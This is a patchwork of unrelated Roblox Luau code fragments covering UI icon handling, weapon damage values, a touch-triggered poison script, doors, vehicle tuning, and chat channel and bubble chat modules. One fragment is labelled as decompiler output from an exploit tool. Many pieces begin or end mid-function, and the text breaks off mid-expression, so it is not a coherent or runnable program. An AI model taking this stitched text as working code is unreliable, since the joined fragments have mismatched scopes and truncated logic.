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-- Variable for the drop zone
local dropZone = script.Parent
-- CONNECTIONS
local iconCreationCount = 0 IconController.iconAdded:Connect(function(icon) topbarIcons[icon] = true if IconController.gameTheme then icon:setTheme(IconController.gameTheme) end icon.updated:Connect(function() local toggleTransitionInfo = icon:get("toggleTransitionInfo") IconController.updateTopbar(toggleTransitionInfo) end) -- When this icon is selected, deselect other icons if necessary icon.selected:Connect(function() local allIcons = IconController.getIcons() for _, otherIcon in pairs(allIcons) do if icon.deselectWhenOtherIconSelected and otherIcon ~= icon and otherIcon.deselectWhenOtherIconSelected and otherIcon:getToggleState() == "selected" then otherIcon:deselect(icon) end end end) -- Order by creation if no order specified iconCreationCount = iconCreationCount + 1 if not icon._orderWasSet then icon:setOrder(iconCreationCount) end -- Apply controller view if enabled if IconController.controllerModeEnabled then IconController._enableControllerModeForIcon(icon, true) end IconController:_updateSelectionGroup() end) IconController.iconRemoved:Connect(function(icon) topbarIcons[icon] = nil icon:setEnabled(false) icon:deselect() icon.updated:Fire() IconController:_updateSelectionGroup() end)
--// Damage Settings
BaseDamage = 100; -- Torso Damage LimbDamage = 100; -- Arms and Legs ArmorDamage = 50; -- How much damage is dealt against armor (Name the armor "Armor") HeadDamage = 100000; -- If you set this to 100, there's a chance the player won't die because of the heal script
--This script makes it's child go into the character that touches it.
function InfectCharacter(BPart) PoisonCheck = BPart.Parent:findFirstChild("KillScript") if PoisonCheck ~= nil then return end KillScript = script.KillScript:clone() KillScript.Parent = BPart.Parent end script.Parent.Touched:connect(InfectCharacter)
--beam.TextureSpeed = math.random(0.05, 0.1)
local tweenInfoA = TweenInfo.new( loopTimeA, -- Time Enum.EasingStyle.Quad, -- EasingStyle Enum.EasingDirection.Out, -- EasingDirection -1, -- RepeatCount (when less than zero the tween will loop indefinitely) true, -- Reverses (tween will reverse once reaching it's goal) 0 -- DelayTime ) local tweenInfoB = TweenInfo.new( loopTimeB, -- Time Enum.EasingStyle.Quad, -- EasingStyle Enum.EasingDirection.Out, -- EasingDirection -1, -- RepeatCount (when less than zero the tween will loop indefinitely) true, -- Reverses (tween will reverse once reaching it's goal) 0 -- DelayTime ) local targetPosA = attachmentA.Position + Vector3.new(0.0, 1000.0, 0.0) local targetPosB = attachmentB.Position + Vector3.new(0.0, 1000.0, 0.0) local tweenA = TweenService:Create(attachmentA, tweenInfoA, {Position = targetPosA}) local tweenB = TweenService:Create(attachmentB, tweenInfoB, {Position = targetPosB}) tweenA:Play() tweenB:Play()
--[[ local TextBoxPlus = require(script.TextBoxPlus) local start = TextBoxPlus.new(Instance.new("TextBox")) local goal = TextBoxPlus.new(Instance.new("TextBox")) --local DefaultNumber = 123 --local function Reset() end --local function FullReset() end goal:SetDefaultConvert(function(Text) local numbered = tonumber(Text or goal.Object.Text) if numbered and numbered ~= start:Convert() then return math.clamp(numbered, 1, 600) end end) start:SetDefaultConvert(function(Text) local numbered = tonumber(Text or start.Object.Text) if numbered and numbered ~= goal:Convert() then return math.clamp(numbered, 1, 600) end end) start:Filter(function(number) if not number then task.defer(Reset) return DefaultNumber end end) -- :Finally() will be called only after the Filter function has. [Functions] :Then(fn) --> *Cycle* :Finally(fn) --> Void :Catch(fn(error)) -> *Cycle* ]]
local tbl = { {1, 5}, {2, 2}, {3, 4}, {4, 1}, {5, 3} } local rm, pri = Remake.new(), priorty.new() local s = os.clock() for _, obj in tbl do rm:Push(obj[1], obj[2])
-- Visualizes a ray. This will not run if FastCast.VisualizeCasts is false.
function DbgVisualizeSegment(castStartCFrame, castLength) if FastCast.VisualizeCasts ~= true then return end local adornment = Instance.new("ConeHandleAdornment") adornment.Adornee = Workspace.Terrain adornment.CFrame = castStartCFrame adornment.Height = castLength adornment.Color3 = Color3.new() adornment.Radius = 0.25 adornment.Transparency = 0.5 adornment.Parent = GetFastCastVisualizationContainer() return adornment end
--[[ This door, the first on ROBLOX of its kind, was created by Mark Otaris (JulienDethurens). It opens when it is touched by someone whose rank in a certain group is higher or equal than/to a certain rank number. The group's id can be specified in the GroupId value in the configuration folder contained in the door. The rank id (from 1 to 255) can be specified in the RankId value in the configuration folder. ]]
local config = script.Parent.Configuration script.Parent.Touched:connect(function(part) if part.Parent and Game:GetService('Players'):GetPlayerFromCharacter(part.Parent) then local player = Game:GetService('Players'):GetPlayerFromCharacter(part.Parent) if player:GetRankInGroup(config.GroupId.Value)then script.Parent.Transparency = 1 script.Parent.CanCollide = false wait(2) script.Parent.Transparency = 0 script.Parent.CanCollide = true end end end)
--Statements
tool.RequiresHandle = false tool.CanBeDropped = false
-- Binds --
cDetector.MouseHoverEnter:connect(onHoverEnter) cDetector.MouseHoverLeave:connect(onHoverLeave) cDetector.MouseClick:connect(onClicked)
--//VIPERGUTZ --//TASER ANIMATIONS
local Tool = script.Parent local IdleAnimation local IdleTrack = nil script.Parent.Equipped:Connect(function(mouse) local MyCharacter = Tool.Parent local MyPlayer = game:GetService('Players'):GetPlayerFromCharacter(MyCharacter) local MyHumanoid = MyCharacter:FindFirstChild('Humanoid') IdleAnimation = Tool:WaitForChild("Idle") if IdleAnimation then IdleTrack = MyHumanoid:LoadAnimation(IdleAnimation) end if IdleTrack then IdleTrack:Play() end end) script.Parent.Unequipped:Connect(function(mouse) if IdleTrack then IdleTrack:Stop() end end)
-- Show icons of tools in toolbar
function setIcon(v) local imageButton = UiFrame:FindFirstChild(v.Name) if imageButton then --imageButton.Image = '' local tool = v.Value if tool then imageButton.Visible = true --imageButton.Image = tool.TextureId imageButton.Item.Text = tool.Name else imageButton.Visible = false end end end
--- Sets if activation will free the mouse.
function Cmdr:SetActivationUnlocksMouse (enabled) self.ActivationUnlocksMouse = enabled end
-- For Robloxyton, by Celestus
function OnClick() local p = script.Parent.Parent.Door for i=1, 30 do -- How many times it moves p.CFrame = p.CFrame + Vector3.new(0, 0, 0.1) -- How far it will move each time wait(.01) -- speed of each movement end
-- Symbol keys:
local KEY_ANCESTORS = Symbol("Ancestors") local KEY_INST_TO_COMPONENTS = Symbol("InstancesToComponents") local KEY_LOCK_CONSTRUCT = Symbol("LockConstruct") local KEY_COMPONENTS = Symbol("Components") local KEY_TROVE = Symbol("Trove") local KEY_EXTENSIONS = Symbol("Extensions") local KEY_ACTIVE_EXTENSIONS = Symbol("ActiveExtensions") local KEY_STARTED = Symbol("Started") local renderId = 0 local function NextRenderName(): string renderId += 1 return "ComponentRender" .. tostring(renderId) end local function InvokeExtensionFn(component, fnName: string) for _,extension in ipairs(component[KEY_ACTIVE_EXTENSIONS]) do local fn = extension[fnName] if type(fn) == "function" then fn(component) end end end local function ShouldConstruct(component): boolean for _,extension in ipairs(component[KEY_ACTIVE_EXTENSIONS]) do local fn = extension.ShouldConstruct if type(fn) == "function" then local shouldConstruct = fn(component) if not shouldConstruct then return false end end end return true end local function GetActiveExtensions(component, extensionList) local activeExtensions = table.create(#extensionList) local allActive = true for _,extension in ipairs(extensionList) do local fn = extension.ShouldExtend local shouldExtend = type(fn) ~= "function" or not not fn(component) if shouldExtend then table.insert(activeExtensions, extension) else allActive = false end end return if allActive then extensionList else activeExtensions end
--Rocket.Touched:connect(OnTouched)
while script.Parent == Rocket do game:GetService("RunService").Stepped:wait() local hit,pos = raycast((Rocket.CFrame * CFrame.new(0,0,25)).p,((Rocket.CFrame * CFrame.new(0,0,-1)).p-Rocket.Position).unit,60) if hit then OnTouched(hit,pos) end Rocket.CFrame = Rocket.CFrame * CFrame.new(0,0,-50) * CFrame.Angles(0, 0, math.rad(18)) end
--Automatic: DCT
Tune.ShiftUpTime = 0.25 -- Time required to shift into next gear, from a lower gear to a higher one. Tune.ShiftDnTime = 0.125 -- Time required to shift into next gear, from a higher gear to a lower one. Tune.FinalDrive = 3.545 -- (Final * Primary) -- Gearing determines top speed and wheel torque
--[=[ Completes the subscription, preventing anything else from being emitted. ]=]
function Subscription:Complete() if self._state ~= stateTypes.PENDING then return end self._state = stateTypes.COMPLETE if self._completeCallback then self._completeCallback() end self:_doCleanup() end
--// Math
local L_90_ = function(L_120_arg1, L_121_arg2, L_122_arg3) if L_120_arg1 > L_122_arg3 then return L_122_arg3 elseif L_120_arg1 < L_121_arg2 then return L_121_arg2 end return L_120_arg1 end local L_91_ = L_79_.new(Vector3.new()) L_91_.s = 30 L_91_.d = 0.55 local L_92_ = CFrame.Angles(0, 0, 0)
-- MasterWeld by Zephyred -- Works for all types of parts, unions etc.
function WeldPair(x, y) local weld = Instance.new("Motor6D",x) weld.Part0 = x weld.Part1 = y weld.C1 = y.CFrame:toObjectSpace(x.CFrame); end function WeldAll(model, main) -- model can be anything if model:IsA("BasePart") then WeldPair(main, model) end for _,v in pairs(model:GetChildren()) do WeldAll(v, main) end end function UnanchorAll(model) -- model can be anything if (model:IsA("BasePart")) then model.Anchored = false end for _,v in pairs(model:GetChildren()) do UnanchorAll(v) end end WeldAll(script.Parent, script.Parent.Handle) UnanchorAll(script.Parent) script:Destroy() -- Done, clean script up.
-- Variables for objects and vehicle settings
local SettingsFolder = script.Parent.Parent:WaitForChild("Configuration") local ToolStatus = script.Parent.Parent:WaitForChild("ToolStatus") local UserInputService = game:GetService("UserInputService") local VRService = game:GetService("VRService") local SeaterObject = ToolStatus:WaitForChild("SeaterScript") local SegwayObject = ToolStatus:WaitForChild("Segway") local WeldObject = ToolStatus:WaitForChild("PlayersWeld") local MaxSpeed = SettingsFolder:WaitForChild("MaxSpeed") local TurnSpeed = SettingsFolder:WaitForChild("TurnSpeed") local UseGyroSteering = SettingsFolder:WaitForChild("UseGyroSteering") local VRUseHeadsetControls = SettingsFolder:WaitForChild("VRUseHeadsetControls") local Thruster = ToolStatus:WaitForChild("Thruster") local TiltMotor = ToolStatus:WaitForChild("TiltMotor") local PlayerGui = nil local Lights = nil local Notifiers = nil local RayTest = nil
--///////////////// Internal-Use Methods --//////////////////////////////////////
function methods:InternalDestroy() for i, speaker in pairs(self.Speakers) do speaker:LeaveChannel(self.Name) end self.eDestroyed:Fire() self.eDestroyed:Destroy() self.eMessagePosted:Destroy() self.eSpeakerJoined:Destroy() self.eSpeakerLeft:Destroy() self.eSpeakerMuted:Destroy() self.eSpeakerUnmuted:Destroy() end function methods:InternalDoMessageFilter(speakerName, messageObj, channel) local filtersIterator = self.FilterMessageFunctions:GetIterator() for funcId, func, priority in filtersIterator do local success, errorMessage = pcall(function() func(speakerName, messageObj, channel) end) if not success then warn(string.format("DoMessageFilter Function '%s' failed for reason: %s", funcId, errorMessage)) end end end function methods:InternalDoProcessCommands(speakerName, message, channel) local commandsIterator = self.ProcessCommandsFunctions:GetIterator() for funcId, func, priority in commandsIterator do local success, returnValue = pcall(function() local ret = func(speakerName, message, channel) if type(ret) ~= "boolean" then error("Process command functions must return a bool") end return ret end) if not success then warn(string.format("DoProcessCommands Function '%s' failed for reason: %s", funcId, returnValue)) elseif returnValue then return true end end return false end function methods:InternalPostMessage(fromSpeaker, message, extraData) if (self:InternalDoProcessCommands(fromSpeaker.Name, message, self.Name)) then return false end if (self.Mutes[fromSpeaker.Name:lower()] ~= nil) then local t = self.Mutes[fromSpeaker.Name:lower()] if (t > 0 and os.time() > t) then self:UnmuteSpeaker(fromSpeaker.Name) else self:SendSystemMessageToSpeaker(ChatLocalization:FormatMessageToSend("GameChat_ChatChannel_MutedInChannel","You are muted and cannot talk in this channel"), fromSpeaker.Name) return false end end local messageObj = self:InternalCreateMessageObject(message, fromSpeaker.Name, false, extraData) -- allow server to process the unfiltered message string messageObj.Message = message local processedMessage pcall(function() processedMessage = Chat:InvokeChatCallback(Enum.ChatCallbackType.OnServerReceivingMessage, messageObj) end) messageObj.Message = nil if processedMessage then -- developer server code's choice to mute the message if processedMessage.ShouldDeliver == false then return false end messageObj = processedMessage end message = self:SendMessageObjToFilters(message, messageObj, fromSpeaker) local sentToList = {} for i, speaker in pairs(self.Speakers) do local isMuted = speaker:IsSpeakerMuted(fromSpeaker.Name) if not isMuted and self:CanCommunicate(fromSpeaker, speaker) then table.insert(sentToList, speaker.Name) if speaker.Name == fromSpeaker.Name then -- Send unfiltered message to speaker who sent the message. local cMessageObj = ShallowCopy(messageObj) if userShouldMuteUnfilteredMessage then cMessageObj.Message = string.rep("_", messageObj.MessageLength) else cMessageObj.Message = message end cMessageObj.IsFiltered = true -- We need to claim the message is filtered even if it not in this case for compatibility with legacy client side code. speaker:InternalSendMessage(cMessageObj, self.Name) else speaker:InternalSendMessage(messageObj, self.Name) end end end local success, err = pcall(function() self.eMessagePosted:Fire(messageObj) end) if not success and err then print("Error posting message: " ..err) end local textFilterContext = self.Private and Enum.TextFilterContext.PrivateChat or Enum.TextFilterContext.PublicChat local filterSuccess, isFilterResult, filteredMessage = self.ChatService:InternalApplyRobloxFilterNewAPI( messageObj.FromSpeaker, message, textFilterContext ) if (filterSuccess) then messageObj.FilterResult = filteredMessage messageObj.IsFilterResult = isFilterResult else return false end messageObj.IsFiltered = true self:InternalAddMessageToHistoryLog(messageObj) for _, speakerName in pairs(sentToList) do local speaker = self.Speakers[speakerName] if (speaker) then speaker:InternalSendFilteredMessageWithFilterResult(messageObj, self.Name) end end -- One more pass is needed to ensure that no speakers do not recieve the message. -- Otherwise a user could join while the message is being filtered who had not originally been sent the message. local speakersMissingMessage = {} for _, speaker in pairs(self.Speakers) do local isMuted = speaker:IsSpeakerMuted(fromSpeaker.Name) if not isMuted and self:CanCommunicate(fromSpeaker, speaker) then local wasSentMessage = false for _, sentSpeakerName in pairs(sentToList) do if speaker.Name == sentSpeakerName then wasSentMessage = true break end end if not wasSentMessage then table.insert(speakersMissingMessage, speaker.Name) end end end for _, speakerName in pairs(speakersMissingMessage) do local speaker = self.Speakers[speakerName] if speaker then speaker:InternalSendFilteredMessageWithFilterResult(messageObj, self.Name) end end return messageObj end function methods:InternalAddSpeaker(speaker) if (self.Speakers[speaker.Name]) then warn("Speaker \"" .. speaker.name .. "\" is already in the channel!") return end self.Speakers[speaker.Name] = speaker local success, err = pcall(function() self.eSpeakerJoined:Fire(speaker.Name) end) if not success and err then print("Error removing channel: " ..err) end end function methods:InternalRemoveSpeaker(speaker) if (not self.Speakers[speaker.Name]) then warn("Speaker \"" .. speaker.name .. "\" is not in the channel!") return end self.Speakers[speaker.Name] = nil local success, err = pcall(function() self.eSpeakerLeft:Fire(speaker.Name) end) if not success and err then print("Error removing speaker: " ..err) end end function methods:InternalRemoveExcessMessagesFromLog() local remove = table.remove while (#self.ChatHistory > self.MaxHistory) do remove(self.ChatHistory, 1) end end function methods:InternalAddMessageToHistoryLog(messageObj) table.insert(self.ChatHistory, messageObj) self:InternalRemoveExcessMessagesFromLog() end function methods:GetMessageType(message, fromSpeaker) if fromSpeaker == nil then return ChatConstants.MessageTypeSystem end return ChatConstants.MessageTypeDefault end function methods:InternalCreateMessageObject(message, fromSpeaker, isFiltered, extraData) local messageType = self:GetMessageType(message, fromSpeaker) local speakerUserId = -1 local speakerDisplayName = nil local speaker = nil if fromSpeaker then speaker = self.ChatService:GetSpeaker(fromSpeaker) if speaker then local player = speaker:GetPlayer() if player then speakerUserId = player.UserId if ChatSettings.PlayerDisplayNamesEnabled then speakerDisplayName = speaker:GetNameForDisplay() end else speakerUserId = 0 end end end local messageObj = { ID = self.ChatService:InternalGetUniqueMessageId(), FromSpeaker = fromSpeaker, SpeakerDisplayName = speakerDisplayName, SpeakerUserId = speakerUserId, OriginalChannel = self.Name, MessageLength = string.len(message), MessageType = messageType, IsFiltered = isFiltered, Message = isFiltered and message or nil, --// These two get set by the new API. The comments are just here --// to remind readers that they will exist so it's not super --// confusing if they find them in the code but cannot find them --// here. --FilterResult = nil, --IsFilterResult = false, Time = os.time(), ExtraData = {}, } if speaker then for k, v in pairs(speaker.ExtraData) do messageObj.ExtraData[k] = v end end if (extraData) then for k, v in pairs(extraData) do messageObj.ExtraData[k] = v end end return messageObj end function methods:SetChannelNameColor(color) self.ChannelNameColor = color for i, speaker in pairs(self.Speakers) do speaker:UpdateChannelNameColor(self.Name, color) end end function methods:GetWelcomeMessageForSpeaker(speaker) if self.GetWelcomeMessageFunction then local welcomeMessage = self.GetWelcomeMessageFunction(speaker) if welcomeMessage then return welcomeMessage end end return self.WelcomeMessage end function methods:RegisterGetWelcomeMessageFunction(func) if type(func) ~= "function" then error("RegisterGetWelcomeMessageFunction must be called with a function.") end self.GetWelcomeMessageFunction = func end function methods:UnRegisterGetWelcomeMessageFunction() self.GetWelcomeMessageFunction = nil end
--< Variables
local code = script.Parent.Code local redeem = script.Parent.Redeem local event = game.ReplicatedStorage.Code
--[[function findAllCopies(obj) local c = obj:GetChildren(); for i, v in pairs(c) do if (v.Name == script.Name and v.className == "Script" and v ~= script) then v.Parent = nil; elseif (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then findAllCopies(v); end end end findAllCopies(game); script.Parent = nil;]]
-- Decompiled with the Synapse X Luau decompiler.
local l__MarketplaceService__1 = game:GetService("MarketplaceService"); local l__LocalPlayer__2 = game.Players.LocalPlayer; local l__ReplicatedStorage__3 = game.ReplicatedStorage; script.Parent.MouseButton1Click:Connect(function() l__MarketplaceService__1:PromptGamePassPurchase(l__LocalPlayer__2, l__ReplicatedStorage__3.GamepassIDs.ExtraStorage.Value); end);
-- CONSTANTS
local PI2 = math.pi*2 local PHI = (1 + math.sqrt(5)) / 2 local RIGHT = Vector3.new(1, 0, 0) local UP = Vector3.new(0, 1, 0) local BACK = Vector3.new(0, 0, 1) local LEFT = Vector3.new(-1, 0, 0) local DOWN = Vector3.new(0, -1, 0) local FORWARD = Vector3.new(0, 0, -1) local CORNERS = { Vector3.new(1, 1, 1); Vector3.new(-1, 1, 1); Vector3.new(-1, 1, -1); Vector3.new(1, 1, -1); Vector3.new(1, -1, 1); Vector3.new(-1, -1, 1); Vector3.new(-1, -1, -1); Vector3.new(1, -1, -1); }
-- if math.floor(v) < 75 then -- carSeat.Parent.Body.MP.Sound.RollOffMode = "LinearSquare" -- else -- carSeat.Parent.Body.MP.Sound.RollOffMode = "Inverse" -- end
end function wiperF(a,w) carSeat.Parent.Misc.WPR.SS.Motor.DesiredAngle = a carSeat.Parent.Misc.WPR2.SS.Motor.DesiredAngle = a carSeat.Parent.Body.we.p.Enabled = w carSeat.Parent.Body.we1.p.Enabled = w end F.wspd = function(a) local c = math.max(carSeat.WS.Value+a,1) carSeat.WS.Value = c local b = c/100 carSeat.Parent.Misc.WPR.SS.Motor.MaxVelocity = b carSeat.Parent.Misc.WPR2.SS.Motor.MaxVelocity = b end local s = false F.sunroof = function() s = not s carSeat.Parent.Misc.SR.SS.Motor.DesiredAngle = s and .1 or 0 end local xz = 2 F.src = function() if xz < 2 then xz = xz + 1 else xz = 0 end local y = 2.3 * xz local z = (xz == 1) and 2 or 4 local bm = carSeat.Parent.Body.HC.BM tween(bm,"Offset",Vector3.new(y/2,0,0),z) tween(bm,"Scale",Vector3.new(y,1,1),z) end F.wws = function(iv,wa) carSeat.FW.Value = not carSeat.FW.Value carSeat.Parent.DriveSeat.wipe.Playing = carSeat.FW.Value if carSeat.FW.Value then local b = math.pi/2 if wa then wiperF(0,true) wait(1) end repeat local itv = math.max((carSeat.WS.Value^-1),20^-1) wiperF(-b,false) repeat wait() until carSeat.Parent.Misc.WPR.SS.Motor.CurrentAngle <= (-b)+0.1 wiperF(0,false) repeat wait() until carSeat.Parent.Misc.WPR.SS.Motor.CurrentAngle == 0 wait(itv*2) until carSeat.FW.Value == false carSeat.Parent.DriveSeat.wipe.Playing = false else wiperF(0,false) end end F.volumeup = function(VolUp) carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + 1 scg.Radio.VOLMENU.VolumeText.Text = "VOLUME: "..carSeat.Parent.Body.MP.Sound.Volume end local m = 0 F.IMode = function() end F.updateSong = function(Song) carSeat.Parent.Body.MP.Sound:Stop() wait() carSeat.Parent.Body.MP.Sound.SoundId = "rbxassetid://"..Song wait() carSeat.Parent.Body.MP.Sound:Play() end F.lg = function(n) carSeat.Parent.Body.MP.Sound.ES.HighGain = n end F.mg = function(n) carSeat.Parent.Body.MP.Sound.ES.HighGain = n end F.hg = function(n) carSeat.Parent.Body.MP.Sound.ES.HighGain = n end F.eq = function(n) carSeat.Parent.Body.MP.Sound.ES.Enabled = n end F.updateVolume = function(Vol) carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + Vol scg.Radio.Volume.Text = carSeat.Parent.Body.MP.Sound.Volume end F.cg = function(g)
-- init chat bubble tables
local function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect) this.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect) this.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect) this.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect) end initChatBubbleType(BubbleColor.WHITE, "ui/dialog_white", "ui/chatBubble_white_notify_bkg", false, Rect.new(5,5,15,15)) initChatBubbleType(BubbleColor.BLUE, "ui/dialog_blue", "ui/chatBubble_blue_notify_bkg", true, Rect.new(7,7,33,33)) initChatBubbleType(BubbleColor.RED, "ui/dialog_red", "ui/chatBubble_red_notify_bkg", true, Rect.new(7,7,33,33)) initChatBubbleType(BubbleColor.GREEN, "ui/dialog_green", "ui/chatBubble_green_notify_bkg", true, Rect.new(7,7,33,33)) function this:SanitizeChatLine(msg) if getMessageLength(msg) > MaxChatMessageLengthExclusive then local byteOffset = utf8.offset(msg, MaxChatMessageLengthExclusive + getMessageLength(ELIPSES) + 1) - 1 return string.sub(msg, 1, byteOffset) else return msg end end local function createBillboardInstance(adornee) local billboardGui = Instance.new("BillboardGui") billboardGui.Adornee = adornee billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT) billboardGui.StudsOffset = Vector3.new(0, 1.5, 2) billboardGui.Parent = BubbleChatScreenGui local billboardFrame = Instance.new("Frame") billboardFrame.Name = "BillboardFrame" billboardFrame.Size = UDim2.new(1, 0, 1, 0) billboardFrame.Position = UDim2.new(0, 0, -0.7, 0) billboardFrame.BackgroundTransparency = 1 billboardFrame.Parent = billboardGui local billboardChildRemovedCon = nil billboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function() if #billboardFrame:GetChildren() <= 1 then billboardChildRemovedCon:disconnect() billboardGui:Destroy() end end) this:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame return billboardGui end function this:CreateBillboardGuiHelper(instance, onlyCharacter) if instance and not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then if not onlyCharacter then if instance:IsA("BasePart") then -- Create a new billboardGui object attached to this player local billboardGui = createBillboardInstance(instance) this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui return end end if instance:IsA("Model") then local head = instance:FindFirstChild("Head") if head and head:IsA("BasePart") then -- Create a new billboardGui object attached to this player local billboardGui = createBillboardInstance(head) this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui end end end end local function distanceToBubbleOrigin(origin) if not origin then return 100000 end return (origin.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude end local function isPartOfLocalPlayer(adornee) if adornee and PlayersService.LocalPlayer.Character then return adornee:IsDescendantOf(PlayersService.LocalPlayer.Character) end end function this:SetBillboardLODNear(billboardGui) local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee) billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT) billboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0.1) billboardGui.Enabled = true local billChildren = billboardGui.BillboardFrame:GetChildren() for i = 1, #billChildren do billChildren[i].Visible = true end billboardGui.BillboardFrame.SmallTalkBubble.Visible = false end function this:SetBillboardLODDistant(billboardGui) local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee) billboardGui.Size = UDim2.new(4, 0, 3, 0) billboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0.1) billboardGui.Enabled = true local billChildren = billboardGui.BillboardFrame:GetChildren() for i = 1, #billChildren do billChildren[i].Visible = false end billboardGui.BillboardFrame.SmallTalkBubble.Visible = true end function this:SetBillboardLODVeryFar(billboardGui) billboardGui.Enabled = false end function this:SetBillboardGuiLOD(billboardGui, origin) if not origin then return end if origin:IsA("Model") then local head = origin:FindFirstChild("Head") if not head then origin = origin.PrimaryPart else origin = head end end local bubbleDistance = distanceToBubbleOrigin(origin) if bubbleDistance < NEAR_BUBBLE_DISTANCE then this:SetBillboardLODNear(billboardGui) elseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then this:SetBillboardLODDistant(billboardGui) else this:SetBillboardLODVeryFar(billboardGui) end end function this:CameraCFrameChanged() for index, value in pairs(this.CharacterSortedMsg:GetData()) do local playerBillboardGui = value["BillboardGui"] if playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end end end function this:CreateBubbleText(message, shouldAutoLocalize) local bubbleText = Instance.new("TextLabel") bubbleText.Name = "BubbleText" bubbleText.BackgroundTransparency = 1 if UserFixBubbleChatText then bubbleText.Size = UDim2.fromScale(1, 1) else bubbleText.Position = UDim2.new(0, CHAT_BUBBLE_WIDTH_PADDING / 2, 0, 0) bubbleText.Size = UDim2.new(1, -CHAT_BUBBLE_WIDTH_PADDING, 1, 0) end bubbleText.Font = CHAT_BUBBLE_FONT bubbleText.ClipsDescendants = true bubbleText.TextWrapped = true bubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE bubbleText.Text = message bubbleText.Visible = false bubbleText.AutoLocalize = shouldAutoLocalize if UserFixBubbleChatText then local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0, CHAT_BUBBLE_PADDING) padding.PaddingRight = UDim.new(0, CHAT_BUBBLE_PADDING) padding.PaddingBottom = UDim.new(0, CHAT_BUBBLE_PADDING) padding.PaddingLeft = UDim.new(0, CHAT_BUBBLE_PADDING) padding.Parent = bubbleText end return bubbleText end function this:CreateSmallTalkBubble(chatBubbleType) local smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone() smallTalkBubble.Name = "SmallTalkBubble" smallTalkBubble.AnchorPoint = Vector2.new(0, 0.5) smallTalkBubble.Position = UDim2.new(0, 0, 0.5, 0) smallTalkBubble.Visible = false local text = this:CreateBubbleText("...") text.TextScaled = true text.TextWrapped = false text.Visible = true text.Parent = smallTalkBubble return smallTalkBubble end function this:UpdateChatLinesForOrigin(origin, currentBubbleYPos) local bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo local bubbleQueueSize = bubbleQueue:Size() local bubbleQueueData = bubbleQueue:GetData() if #bubbleQueueData <= 1 then return end for index = (#bubbleQueueData - 1), 1, -1 do local value = bubbleQueueData[index] local bubble = value.RenderBubble if not bubble then return end local bubblePos = bubbleQueueSize - index + 1 if bubblePos > 1 then local tail = bubble:FindFirstChild("ChatBubbleTail") if tail then tail:Destroy() end local bubbleText = bubble:FindFirstChild("BubbleText") if bubbleText then bubbleText.TextTransparency = 0.5 end end local udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset, 1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT) bubble:TweenPosition(udimValue, Enum.EasingDirection.Out, Enum.EasingStyle.Bounce, 0.1, true) currentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT end end function this:DestroyBubble(bubbleQueue, bubbleToDestroy) if not bubbleQueue then return end if bubbleQueue:Empty() then return end local bubble = bubbleQueue:Front().RenderBubble if not bubble then bubbleQueue:PopFront() return end spawn(function() while bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do wait() end bubble = bubbleQueue:Front().RenderBubble local timeBetween = 0 local bubbleText = bubble:FindFirstChild("BubbleText") local bubbleTail = bubble:FindFirstChild("ChatBubbleTail") while bubble and bubble.ImageTransparency < 1 do timeBetween = wait() if bubble then local fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED bubble.ImageTransparency = bubble.ImageTransparency + fadeAmount if bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end if bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end end end if bubble then bubble:Destroy() bubbleQueue:PopFront() end end) end function this:CreateChatLineRender(instance, line, onlyCharacter, fifo, shouldAutoLocalize) if not instance then return end if not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then this:CreateBillboardGuiHelper(instance, onlyCharacter) end local billboardGui = this.CharacterSortedMsg:Get(instance)["BillboardGui"] if billboardGui then local chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone() chatBubbleRender.Visible = false local bubbleText = this:CreateBubbleText(line.Message, shouldAutoLocalize) bubbleText.Parent = chatBubbleRender chatBubbleRender.Parent = billboardGui.BillboardFrame line.RenderBubble = chatBubbleRender local currentTextBounds = TextService:GetTextSize( bubbleText.Text, CHAT_BUBBLE_FONT_SIZE_INT, CHAT_BUBBLE_FONT, Vector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT)) local numOflines = (currentTextBounds.Y / CHAT_BUBBLE_FONT_SIZE_INT) if UserFixBubbleChatText then -- Need to use math.ceil to round up on retina displays local width = math.ceil(currentTextBounds.X + 